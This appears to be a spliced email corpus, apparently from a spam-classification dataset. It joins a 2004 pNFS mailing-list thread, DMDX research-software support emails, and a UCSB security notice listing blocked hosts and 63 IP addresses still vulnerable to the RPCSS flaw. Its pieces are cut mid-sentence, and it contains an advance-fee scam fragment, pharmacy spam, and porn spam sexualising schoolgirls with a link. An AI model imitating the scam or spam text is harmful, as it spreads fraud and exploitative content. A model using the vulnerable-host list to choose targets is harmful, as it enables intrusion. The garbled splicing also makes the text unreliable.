on the client/ storage data path might be affected as you want many client hosts to access storage using a copy of information given to one of them (that performed the GETLAYOUT call). If the security system is based on the client's host address (e.g. MAC address) you're in trouble unless all the clients can virtualize it or if you plan your security tokens to support multi-path. Benny > -----Original Message----- > From: Trond Myklebust [mailto:trond.myklebust@fys.uio.no] > Sent: Tuesday, October 12, 2004 9:45 PM > To: pnfs-reqs@yahoogroups.com > Subject: Re: [pnfs-reqs] Notes from Sept 30 > > > > P� ty , 12/10/2004 klokka 18:55, skreiv Julian Satran: > > > > I don't think I am missing the point. Handing over authenticators is > > ""legal"" in any case. > > The point is than an authenticator has to be handed over. And the > > authenticator is ""secret"" > > in any of the protocols. Guessing it (it is ussualy large) > is usually > > considered unfeasible. > > > The ClientID is not secret. > > No, but it could be made to provide basic machine authentication, > because the call to SETCLIENTID_CONFIRM does two things: > > 1) Causes the server to return a new clientid that is used as the > basis for the state. > > 2) The server looks at the RPC authentication, and derives a > principal, and an RPC security flavour, (and if the flavour is > RPCSEC_GSS - also a mechanism and a service name) and associates that > information to that clientid. > > IOW it establishes a de-facto ""machine credential"" associated to that > particular clientid. If you were truly desperate you could use this to > authenticate clients (we are BTW already desperate enough to allow it > for RENEW and SETCLIENTID as you can see in the RENEW description on > page 201 of RFC3530). > > --------- > > That said, I'm still failing to see why all the above is necessary. > > IOW: Why do we need special server support with new SETCLIENTIDs, new > authentication schemes against the server etc in order to > deal with the > MPI case? > > AFAICS, the only purpose of introducing the MPI in the first > place is to > _hide_ the details of the client's internal architecture from the > server, and to represent all N nodes as if they were 1 node trunked > across several transport mechanisms (or possibly even sharing a single > transport?). If it is not capable of doing this, then why even bother > looking at it? > > With the current NFSv4, the only problem should be the lack of decent > support for trunking, and that is supposed to be solved by > means of the > SESSION extensions in NFSv4.1. > Is pNFS adding something new that will break this? > > Cheers, > Trond > > > > ------------------------ Yahoo! Groups Sponsor > --------------------~--> > Make a clean sweep of pop-up ads. Yahoo! Companion Toolbar. > Now with Pop-Up Blocker. Get it for free! > http://us.click.yahoo.com/L5YrjA/eSIIAA/yQLSAA/W6uqlB/TM > -------------------------------------------------------------- > ------~-> > > > Yahoo! Groups Links > > > > > > > >From trond.myklebust@fys.uio.no Tue Oct 12 17:04:22 2004 Return-Path: X-Sender: trond.myklebust@fys.uio.no X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 94851 invoked from network); 13 Oct 2004 00:04:19 -0000 Received: from unknown (66.218.66.217) by m1.grp.scd.yahoo.com with QMQP; 13 Oct 2004 00:04:19 -0000 Received: from unknown (HELO pat.uio.no) (129.240.130.16) by mta2.grp.scd.yahoo.com with SMTP; 13 Oct 2004 00:04:18 -0000 Received: from mail-mx6.uio.no ([129.240.10.47]) by pat.uio.no with esmtp (Exim 4.34) id 1CHWcg-0005jJ-7N for pnfs-reqs@yahoogroups.com; Wed, 13 Oct 2004 02:04:06 +0200 Received: from 184.80-202-71.nextgentel.com ([80.202.71.184] helo=[192.168.1.101]) by smtp.uio.no with asmtp (SSLv3:RC4-MD5:128) (Exim 4.34) id 1CHWcc-0003zG-TG for pnfs-reqs@yahoogroups.com; Wed, 13 Oct 2004 02:04:02 +0200 To: pnfs-reqs@yahoogroups.com In-Reply-To: References: Content-Type: text/plain; charset=iso-8859-1 Message-Id: <1097625836.30356.33.camel@lade.trondhjem.org> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.6 Date: Wed, 13 Oct 2004 02:03:56 +0200 Content-Transfer-Encoding: quoted-printable X-MailScanner-Information: This message has been scanned for viruses/spam. Contact postmaster@uio.no if you have questions about this scanning X-UiO-MailScanner: No virus found X-UiO-Spam-info: not spam, SpamAssassin (score=0, required 12) X-eGroups-Remote-IP: 129.240.130.16 From: Trond Myklebust Subject: RE: [pnfs-reqs] Notes from Sept 30 X-Yahoo-Group-Post: member; u=194000208 X-Yahoo-Profile: trondmy P� on , 13/10/2004 klokka 01:12, skreiv Halevy, Benny: > My approach was that to keep things simple > within the present NFSv4 spec, you need to model > the cluster of clients as a single NFSv4 client > sharing the same client id and NFSv4 state space. > The different instances can share secrets amongst > themselves and the server shouldn't care less. Exactly. That is in practice what we are doing with single noded clients too. The authentication is done at the per-user level, but the processes are free to share data and state provided that they pay the necessary lip service to ACCESS/OPEN/.... > > Is pNFS adding something new that will break this? > > pNFS shouldn't add anything new at the NFSv4 level > with respect to modeling the client. Security on the > client/ storage data path might be affected as you want many > client hosts to access storage using a copy of information > given to one of them (that performed the GETLAYOUT call). > If the security system is based on the client's host > address (e.g. MAC address) you're in trouble unless > all the clients can virtualize it or if you plan your > security tokens to support multi-path. So you are saying that in order to support clustering, there should be no need to mandate any special security mechanisms beyond the fact that it should not rely on any features that are local as far as the cluster is concerned (global cluster features OTOH should be OK)? Cheers, Trond >From bhalevy@panasas.com Wed Oct 13 13:58:26 2004 Return-Path: X-Sender: bhalevy@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 30537 invoked from network); 13 Oct 2004 20:58:24 -0000 Received: from unknown (66.218.66.166) by m21.grp.scd.yahoo.com with QMQP; 13 Oct 2004 20:58:24 -0000 Received: from unknown (HELO barrule.panasas.com) (65.194.124.178) by mta5.grp.scd.yahoo.com with SMTP; 13 Oct 2004 20:58:24 -0000 Received: by barrule.panasas.com with Internet Mail Service (5.5.2653.19) id <4S0FLX9Q>; Wed, 13 Oct 2004 16:57:37 -0400 Message-ID: To: ""'trond.myklebust@fys.uio.no'"" Cc: ""'pnfs-reqs@yahoogroups.com'"" Date: Wed, 13 Oct 2004 16:57:37 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable X-eGroups-Remote-IP: 65.194.124.178 From: ""Halevy, Benny"" Subject: RE: [pnfs-reqs] Notes from Sept 30 X-Yahoo-Group-Post: member; u=169276676 X-Yahoo-Profile: benny_halevy > So you are saying that in order to support clustering, there should be > no need to mandate any special security mechanisms beyond the > fact that > it should not rely on any features that are local as far as > the cluster > is concerned (global cluster features OTOH should be OK)? correct. my assumptions regarding the client cluster are: - each node is an independent NFSv4 client and needs to open the shared file, or - all nodes share the same NFSv4 session and therefore are considered a single NFSv4 client. One node opens the shared file and broadcasts/multicasts the stateid and layout to other nodes. my assumptions regarding storage-level security in pnfs are: - security for file storage protocol is based on RPC authentication & filesystem security. All instances of the application need access to the shared file's components. Volatile filehandles may be used as capabilities as well (see object storage below). - security for object storage protocol is based on server-generated capabilities. These are not client-host specific and can be used by any holder of the capability (until expired/revoked). - security for block protocol is based on SAN configuration. All hosts should be allowed access to the logical devices holding the data. Benny > -----Original Message----- > From: Trond Myklebust [mailto:trond.myklebust@fys.uio.no] > Sent: Wednesday, October 13, 2004 2:04 AM > To: pnfs-reqs@yahoogroups.com > Subject: RE: [pnfs-reqs] Notes from Sept 30 > > > > P� on , 13/10/2004 klokka 01:12, skreiv Halevy, Benny: > > My approach was that to keep things simple > > within the present NFSv4 spec, you need to model > > the cluster of clients as a single NFSv4 client > > sharing the same client id and NFSv4 state space. > > The different instances can share secrets amongst > > themselves and the server shouldn't care less. > > Exactly. That is in practice what we are doing with single > noded clients > too. The authentication is done at the per-user level, but > the processes > are free to share data and state provided that they pay the necessary > lip service to ACCESS/OPEN/.... > > > > Is pNFS adding something new that will break this? > > > > pNFS shouldn't add anything new at the NFSv4 level > > with respect to modeling the client. Security on the > > client/ storage data path might be affected as you want many > > client hosts to access storage using a copy of information > > given to one of them (that performed the GETLAYOUT call). > > If the security system is based on the client's host > > address (e.g. MAC address) you're in trouble unless > > all the clients can virtualize it or if you plan your > > security tokens to support multi-path. > > So you are saying that in order to support clustering, there should be > no need to mandate any special security mechanisms beyond the > fact that > it should not rely on any features that are local as far as > the cluster > is concerned (global cluster features OTOH should be OK)? > > Cheers, > Trond > > > > ------------------------ Yahoo! Groups Sponsor > --------------------~--> > $9.95 domain names from Yahoo!. Register anything. > http://us.click.yahoo.com/J8kdrA/y20IAA/yQLSAA/W6uqlB/TM > -------------------------------------------------------------- > ------~-> > > > Yahoo! Groups Links > > > > > > > >From andros@citi.umich.edu Wed Oct 13 14:13:56 2004 Return-Path: X-Sender: andros@citi.umich.edu X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 46688 invoked from network); 13 Oct 2004 21:13:55 -0000 Received: from unknown (66.218.66.166) by m22.grp.scd.yahoo.com with QMQP; 13 Oct 2004 21:13:55 -0000 Received: from unknown (HELO citi.umich.edu) (141.211.133.111) by mta5.grp.scd.yahoo.com with SMTP; 13 Oct 2004 21:13:55 -0000 Received: from citi.umich.edu (citi.umich.edu [141.211.133.111]) by citi.umich.edu (Postfix) with ESMTP id 6AFA01BB10; Wed, 13 Oct 2004 17:13:54 -0400 (EDT) X-Mailer: exmh version 2.5 07/13/2001 with version: MH 6.8.3 #74[UCI] To: pnfs-reqs@yahoogroups.com Cc: ""'trond.myklebust@fys.uio.no'"" , andros@citi.umich.edu In-reply-to: Your message of ""Wed, 13 Oct 2004 16:57:37 EDT."" Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Date: Wed, 13 Oct 2004 17:13:54 -0400 Message-Id: <20041013211354.6AFA01BB10@citi.umich.edu> X-eGroups-Remote-IP: 141.211.133.111 From: ""William A.(Andy) Adamson"" Subject: Re: [pnfs-reqs] Notes from Sept 30 X-Yahoo-Group-Post: member; u=169434965 > > > So you are saying that in order to support clustering, there should be > > no need to mandate any special security mechanisms beyond the > > fact that > > it should not rely on any features that are local as far as > > the cluster > > is concerned (global cluster features OTOH should be OK)? > > correct. > > my assumptions regarding the client cluster are: > - each node is an independent NFSv4 client and > needs to open the shared file, or > > - all nodes share the same NFSv4 session and therefore > are considered a single NFSv4 client. One node opens > the shared file and broadcasts/multicasts the stateid > and layout to other nodes. i agree. the client to client communication and the potential user->kernel interface to seed the pNFS client with the common state are not part of the pNFS protocol. > > my assumptions regarding storage-level security in pnfs are: > - security for file storage protocol is based on RPC > authentication & filesystem security. All instances > of the application need access to the shared file's > components. Volatile filehandles may be used as > capabilities as well (see object storage below). > > - security for object storage protocol is based on > server-generated capabilities. These are not > client-host specific and can be used by any > holder of the capability (until expired/revoked). perhaps a user's capabilities set needs to be mapped to gss_context by the pNFS server so that when the gss_context expires, the capabilities could be revoked > > - security for block protocol is based on SAN > configuration. All hosts should be allowed access > to the logical devices holding the data. both OSD and block could rely on transport security (IPSEC) to gain security properties. there is a draft(?) by mike eisler which describes a new gss security mechanism that allows an established gss_context to use an existing ipsec channel. -->Andy > > Benny > > > -----Original Message----- > > From: Trond Myklebust [mailto:trond.myklebust@fys.uio.no] > > Sent: Wednesday, October 13, 2004 2:04 AM > > To: pnfs-reqs@yahoogroups.com > > Subject: RE: [pnfs-reqs] Notes from Sept 30 > > > > > > > > P� on , 13/10/2004 klokka 01:12, skreiv Halevy, Benny: > > > My approach was that to keep things simple > > > within the present NFSv4 spec, you need to model > > > the cluster of clients as a single NFSv4 client > > > sharing the same client id and NFSv4 state space. > > > The different instances can share secrets amongst > > > themselves and the server shouldn't care less. > > > > Exactly. That is in practice what we are doing with single > > noded clients > > too. The authentication is done at the per-user level, but > > the processes > > are free to share data and state provided that they pay the necessary > > lip service to ACCESS/OPEN/.... > > > > > > Is pNFS adding something new that will break this? > > > > > > pNFS shouldn't add anything new at the NFSv4 level > > > with respect to modeling the client. Security on the > > > client/ storage data path might be affected as you want many > > > client hosts to access storage using a copy of information > > > given to one of them (that performed the GETLAYOUT call). > > > If the security system is based on the client's host > > > address (e.g. MAC address) you're in trouble unless > > > all the clients can virtualize it or if you plan your > > > security tokens to support multi-path. > > > > So you are saying that in order to support clustering, there should be > > no need to mandate any special security mechanisms beyond the > > fact that > > it should not rely on any features that are local as far as > > the cluster > > is concerned (global cluster features OTOH should be OK)? > > > > Cheers, > > Trond > > > > > > > > ------------------------ Yahoo! Groups Sponsor > > --------------------~--> > > $9.95 domain names from Yahoo!. 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When you receive this letter. Kindly send me an e-mail signifying Your decision including your private Tel/Fax numbers for quick communication. Best Regard, MR.TAIWO MARTINS. ___________________________________________ Look Good, Feel Good www.healthiest.co.za ",1,0 Jacqueline Spencer ,DMDX@psy1.psych.arizona.edu,"Tue, 06 Jan 2004 01:03:49 -0800",[DMDX] timing problem," Hi all, I seem to have a timing problem with DMDX version 2, installed on a Dell XPS 1500 (all other applications have been removed). When I run a simple reaction time experiment using a rtf file that has run the experiment perfectly on another computer, the presentation of the stimuli appears to be sped up and I get an error message on every trial (a sample of the azk file is below). Could you please tell me whether this means the reaction time measure is inaccurate? If so, do you have any advice or suggestions regarding a solution? Regards, Jacquie Subject 1, 12/09/2003 22:08:43 on c5a166, refresh 8.33ms Item RT ! Display error at msec 378.80, tick 43 in item 0, frame ""Press SPACE BAR for more instructions."" ! moved into video memory 26 ticks late ! (previous frame's duration will have been longer) ! Display error at msec 2648.44, tick 340 in item 0, frame """" ! moved into video memory 8 ticks late ! (previous frame's duration will have been longer) ! -- possibly caused by another process taking 1 tick ! Display error at msec 3414.32, tick 438 in item 0, frame """" ! moved into video memory 8 ticks late ! (previous frame's duration will have been longer) ! -- possibly caused by another process taking 1 tick 250 -2000.00 ! Display error at msec 6309.88, tick 814 in item 0, frame """" ! moved into video memory 9 ticks late ! (previous frame's duration will have been longer) ! -- possibly caused by another process taking 1 tick 250 350.2 ",0,0 Andy ,DMDX@psy1.psych.arizona.edu,"Mon, 05 Jan 2004 10:31:16 -0000",[DMDX] RE: timing problem,"Hi. This will only be useful if your DMDX rtf file is displaying media. How quickly are you displaying your stimuli? Also, what size in MB are they, and what type of stimuli are they? If the two computers are different specs, then I suspect that your second computer running the expt is no way near as powerful as the first. To test to see whether this is the case, you could remove or from your dmdx rtf file, and run the expt with the stimuli simply displayed as text on the screen (e.g. ""Hello world""; becomes ""Hello world""; all that is now displayed is the name of the media you were presenting). If your getting the same sort of errors as before, then i dont know what the problem is. However, if there are no errors, try reducing the size of the media in MB that you are presenting or give DMDX longer to load each image. Alternatively, have a look at the medialife keyword. Hope that helps, Andy. -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu]On Behalf Of Jacqueline Spencer Sent: 06 January 2004 09:04 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] timing problem Hi all, I seem to have a timing problem with DMDX version 2, installed on a Dell XPS 1500 (all other applications have been removed). When I run a simple reaction time experiment using a rtf file that has run the experiment perfectly on another computer, the presentation of the stimuli appears to be sped up and I get an error message on every trial (a sample of the azk file is below). Could you please tell me whether this means the reaction time measure is inaccurate? If so, do you have any advice or suggestions regarding a solution? Regards, Jacquie Subject 1, 12/09/2003 22:08:43 on c5a166, refresh 8.33ms Item RT ! Display error at msec 378.80, tick 43 in item 0, frame ""Press SPACE BAR for more instructions."" ! moved into video memory 26 ticks late ! (previous frame's duration will have been longer) ! Display error at msec 2648.44, tick 340 in item 0, frame """" ! moved into video memory 8 ticks late ! (previous frame's duration will have been longer) ! -- possibly caused by another process taking 1 tick ! Display error at msec 3414.32, tick 438 in item 0, frame """" ! moved into video memory 8 ticks late ! (previous frame's duration will have been longer) ! -- possibly caused by another process taking 1 tick 250 -2000.00 ! Display error at msec 6309.88, tick 814 in item 0, frame """" ! moved into video memory 9 ticks late ! (previous frame's duration will have been longer) ! -- possibly caused by another process taking 1 tick 250 350.2",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 05 Jan 2004 08:31:01 -0700",[DMDX] Re: timing problem," RTs are probably going to be fine but display presentation is likely to be way out of place. I'd recommend using version 3 of DMDX and TimeDX, version 2 still had allergies to some machines. Otherwise if you're not using movies or other big image files you need to hunt up new video drivers and otherwise make sure TimeDX is functioning properly (have a look at the Refresh Rate Test documentation), 120Hz displays are still relatively rare. If none of that fixes it it's probably reformat time. At 01:03 AM 1/6/2004 -0800, you wrote: > > > >Hi all, >I seem to have a timing problem with DMDX version 2, installed on a Dell >XPS 1500 (all other applications have been removed). When I run a simple >reaction time experiment using a rtf file that has run the experiment >perfectly on another computer, the presentation of the stimuli appears to >be sped up and I get an error message on every trial (a sample of the azk >file is below). Could you please tell me whether this means the reaction >time measure is inaccurate? If so, do you have any advice or suggestions >regarding a solution? >Regards, Jacquie > > >Subject 1, 12/09/2003 22:08:43 on c5a166, refresh 8.33ms >Item RT >! Display error at msec 378.80, tick 43 in item 0, frame ""Press SPACE BAR >for more instructions."" >! moved into video memory 26 ticks late >! (previous frame's duration will have been longer) >! Display error at msec 2648.44, tick 340 in item 0, frame """" >! moved into video memory 8 ticks late >! (previous frame's duration will have been longer) >! -- possibly caused by another process taking 1 tick >! Display error at msec 3414.32, tick 438 in item 0, frame """" >! moved into video memory 8 ticks late >! (previous frame's duration will have been longer) >! -- possibly caused by another process taking 1 tick >250 -2000.00 >! Display error at msec 6309.88, tick 814 in item 0, frame """" >! moved into video memory 9 ticks late >! (previous frame's duration will have been longer) >! -- possibly caused by another process taking 1 tick >250 350.2 /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Who? Me, Officer? - J. Dillinger (from R. Asprin's Myth series) ",0,0 Andy ,DMDX@psy1.psych.arizona.edu,"Wed, 07 Jan 2004 10:59:28 -0000",[DMDX] cedrus button box,"Hi. Has anyone managed to get a Cedrus button box to work with DMDX? Our box in an RB-420 which plugs into a serial port on the back of the computer, and cedrus provide no drivers for it. On Cedrus's website*, they give some code in C with apparently can be used to get the box to work with other programs besides their own product 'superlab', but I've had no luck. I would appreciate if anyone could suggest a way to interface it. Thanks, Andy. * http://www.cedrus.com/support/rb_series/rbx20/tn1020_programming.htm Andy Woods, Room 1.10, Department of Psychology, Aras an Phiarsaigh, University of Dublin, Trinity College, Dublin 2, Ireland. Tel: + 353 (0) 1 608 1521 Fax: + 353 (0) 1 671 2006 Mob: + 353 (0) 877794280 ",0,1 Marta Mcginnis ,jack@physmail.rutgers.edu,"Wed, 07 Jan 2004 21:20:58 -0400",Youngest excellent Teens fuckeed by oldman.," interesting Schoolgirlss doing picturesque sucking. http://yourgameshop.info/fpaf.htm?iSPhfd.fX,hj REM0\\//E http://yourgameshop.info ",1,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 07 Jan 2004 08:36:06 -0700",[DMDX] Re: cedrus button box," You send me a Cedrus box and pay me some money and I make DMDX use the thing. At 10:59 AM 1/7/2004 +0000, you wrote: >Hi. Has anyone managed to get a Cedrus button box to work with DMDX? Our >box in an RB-420 which plugs into a serial port on the back of the computer, >and cedrus provide no drivers for it. On Cedrus's website*, they give some >code in C with apparently can be used to get the box to work with other >programs besides their own product 'superlab', but I've had no luck. I >would appreciate if anyone could suggest a way to interface it. > >Thanks, Andy. > >* >http://www.cedrus.com/support/rb_series/rbx20/tn1020_programming.htm /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The trouble with the profit system has always been that it was highly unprofitable to most people. - E. B. White (1899- ) One Man's Meat, 1944 ",0,1 badger@gene.com,tabitha@XXXXXXXX.XXXXXXX.XXX,"Wed, 07 Jan 2004 09:46:00 +0000",Online pharmacy.,"Good morning! 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Don't worry about app g ro q val, your cr e ed s it will not dis b qua y lify you ! V g isi h t o o ur site Sincerely, Inkeri Pallas A d ppro z val Manager",1,1 ,,,,"(8.9.1/8.9.1) with ESMTP id LAA30113 for ; Wed, 7 Jan 2004 11:29:49 -0800 (PST) Received: from ucsb.edu (hub.ucsb.edu [128.111.24.40]) by charm.physics.ucsb.edu (8.9.3/8.9.3) with ESMTP id LAA13309 for ; Wed, 7 Jan 2004 11:29:48 -0800 Received: from localhost ([127.0.0.1] helo=hub.ucsb.edu) by ucsb.edu with esmtp id 1AeJNC-0006Om-So; Wed, 07 Jan 2004 11:29:46 -0800 Received: from hub.ucsb.edu ([128.111.24.40] helo=smtp.ucsb.edu) by ucsb.edu with esmtp TLSv1:AES256-SHA:256 id 1AeJN7-0006OY-79; Wed, 07 Jan 2004 11:29:41 -0800 Received: from security3.oit.ucsb.edu ([128.111.12.28] helo=UCSB.edu) by smtp.ucsb.edu with asmtp TLSv1:AES256-SHA:256 id 1AeJN2-0006OK-Ak; Wed, 07 Jan 2004 11:29:36 -0800 Message-ID: <3FFC5E1E.6070605@UCSB.edu> Date: Wed, 07 Jan 2004 11:29:34 -0800 From: E. Todd Atkins User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.6b) Gecko/20040105 Thunderbird/0.4 X-Accept-Language: en-us, en MIME-Version: 1.0 To: security-microsoft@ucsb.edu, csf@ucsb.edu X-Enigmail-Version: 0.82.6.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score-ucsb.edu: 0.0 (/) X-Spam-Score-ucsb.edu: 0.0 (/) Subject: [CSF] Blocked Hosts (and those to be blocked soon) X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.2 Precedence: list Reply-To: UCSB Network Security Coordinator List-Id: Computer Support Forum List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: csf-bounces@ucsb.edu Errors-To: csf-bounces@ucsb.edu X-Spam-Score-ucsb.edu: 0.0 (/) Hello, You can find a ""blocked hosts"" list as well as a ""unpatched hosts"" lists further down in this message. Here is what you need to do if your host is in the ""blocked hosts"" list: 1. Make sure that the host has been completely cleaned up. Unless the host is completely rebuilt, please make sure that the host is not running any rogue IRC bots, FTP servers, VNC, etc. Tools like ""tcpview"" and ""procexp"" from www.sysinternals.com should help to locate any such services. 2. Send an email message to security@ucsb.edu to inform us that the host is now safe to be connected with the internet. When referring to multiple IP addresses, please list the IP addresses on separate lines. If you are not the NOC's official network contact for the address(es), then be sure to CC that person. If you decide to simply reply to this message, please do *not* include the complete lists of IPs. Please just include the IP(s) that you are writing to us about. 3. If you find any rogue services running, please include the type of service and the port that it was using. Now, here are the lists: *** Filtered Hosts (from http://noc.ucsb.edu/~shaber/net/ngb/filtered.txt) *** 128.111.20.39 agate.wirelesstest.ucsb.edu 128.111.20.40 dhcp20-40.wirelesstest.ucsb.edu 128.111.29.26 -- 128.111.29.39 -- 128.111.34.65 pfrws-1.engr.ucsb.edu 128.111.34.120 helix.mee.ucsb.edu 128.111.40.37 katie.cs.ucsb.edu 128.111.74.85 davidmac.materials.ucsb.edu 128.111.74.249 -- 128.111.77.107 das.crss.ucsb.edu 128.111.82.132 seppia.chemengr.ucsb.edu 128.111.82.140 peleg.chemengr.ucsb.edu 128.111.92.216 -- 128.111.96.3 edr-fiery.sdc.ucsb.edu 128.111.101.90 modis.icess.ucsb.edu 128.111.103.21 otter.opl.ucsb.edu 128.111.103.24 penguin.opl.ucsb.edu 128.111.103.29 trout.opl.ucsb.edu 128.111.104.131 gdhcp131.geog.ucsb.edu 128.111.104.155 euphrates.geog.ucsb.edu 128.111.106.15 zulu2.geog.ucsb.edu 128.111.108.49 slicks.geol.ucsb.edu 128.111.108.193 host108-193.lsdepts.ucsb.edu 128.111.108.219 host108-219.lsdepts.ucsb.edu 128.111.110.88 -- 128.111.110.246 ocelote.bren.ucsb.edu 128.111.115.1 nmr.chem.ucsb.edu 128.111.120.25 ip25.lmri.ucsb.edu 128.111.120.28 lj5.lmri.ucsb.edu 128.111.138.160 -- 128.111.161.6 -- 128.111.162.145 -- 128.111.185.230 ra.ece.ucsb.edu 128.111.221.52 dhcp17.mat.ucsb.edu 128.111.225.113 -- 128.111.229.207 -- 128.111.229.220 -- 128.111.229.229 -- 128.111.234.39 neidermeyer.geog.ucsb.edu 128.111.234.64 -- 128.111.234.239 sylvey.geog.ucsb.edu 128.111.247.7 -- 128.111.247.62 -- 128.111.247.63 -- 128.111.247.250 -- *** Unpatched hosts *** 128.111.9.232 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.29.35 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.30.118 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.31.45 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.32.243 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.36.16 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.36.142 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.100 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.38.204 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.245 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.221 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.223 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.50.92 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.72.143 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.73.186 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.73.253 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.54 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.177 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.75.239 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.76.49 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.76.198 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.76.217 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.82.12 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.82.18 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.109.172 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.125.65 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.164.79 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.166.187 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.181 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.244 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.100 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.171 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.204 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.216 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.118 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.182.218 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.250 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.177 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.188 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.223 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.229 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.236 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.184.137 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.184.207 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.195.132 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.195.134 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.195.176 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.196.219 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.198.220 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.202.228 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.209.154 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.234.23 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.234.160 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.242.63 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.248.88 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.248.106 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.248.120 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.248.173 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.248.179 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.35 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.67 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.147 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.249.211 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] *** Statistics *** Filtered Hosts ............................... 45 RPCSS Vulnerable ............................. 63 DCOM Disabled ................................ 65 Not Vulnerable ............................... 3358 Errors ....................................... 29 TCP Port 135 Closed or Host Timeout .......... 62021 TOTAL HOSTS SCANNED .......................... 65536 -- Todd Atkins Network Security Coordinator UCSB/Office of Information 